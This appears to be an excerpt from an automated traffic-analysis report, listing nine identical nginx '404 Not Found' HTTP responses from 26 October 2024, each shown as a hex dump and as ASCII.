Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 05:27:22 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 05:27:24 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 05:27:27 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 05:27:29 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 05:27:49 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 05:27:49 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 05:27:49 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 05:27:53 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 05:27:56 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
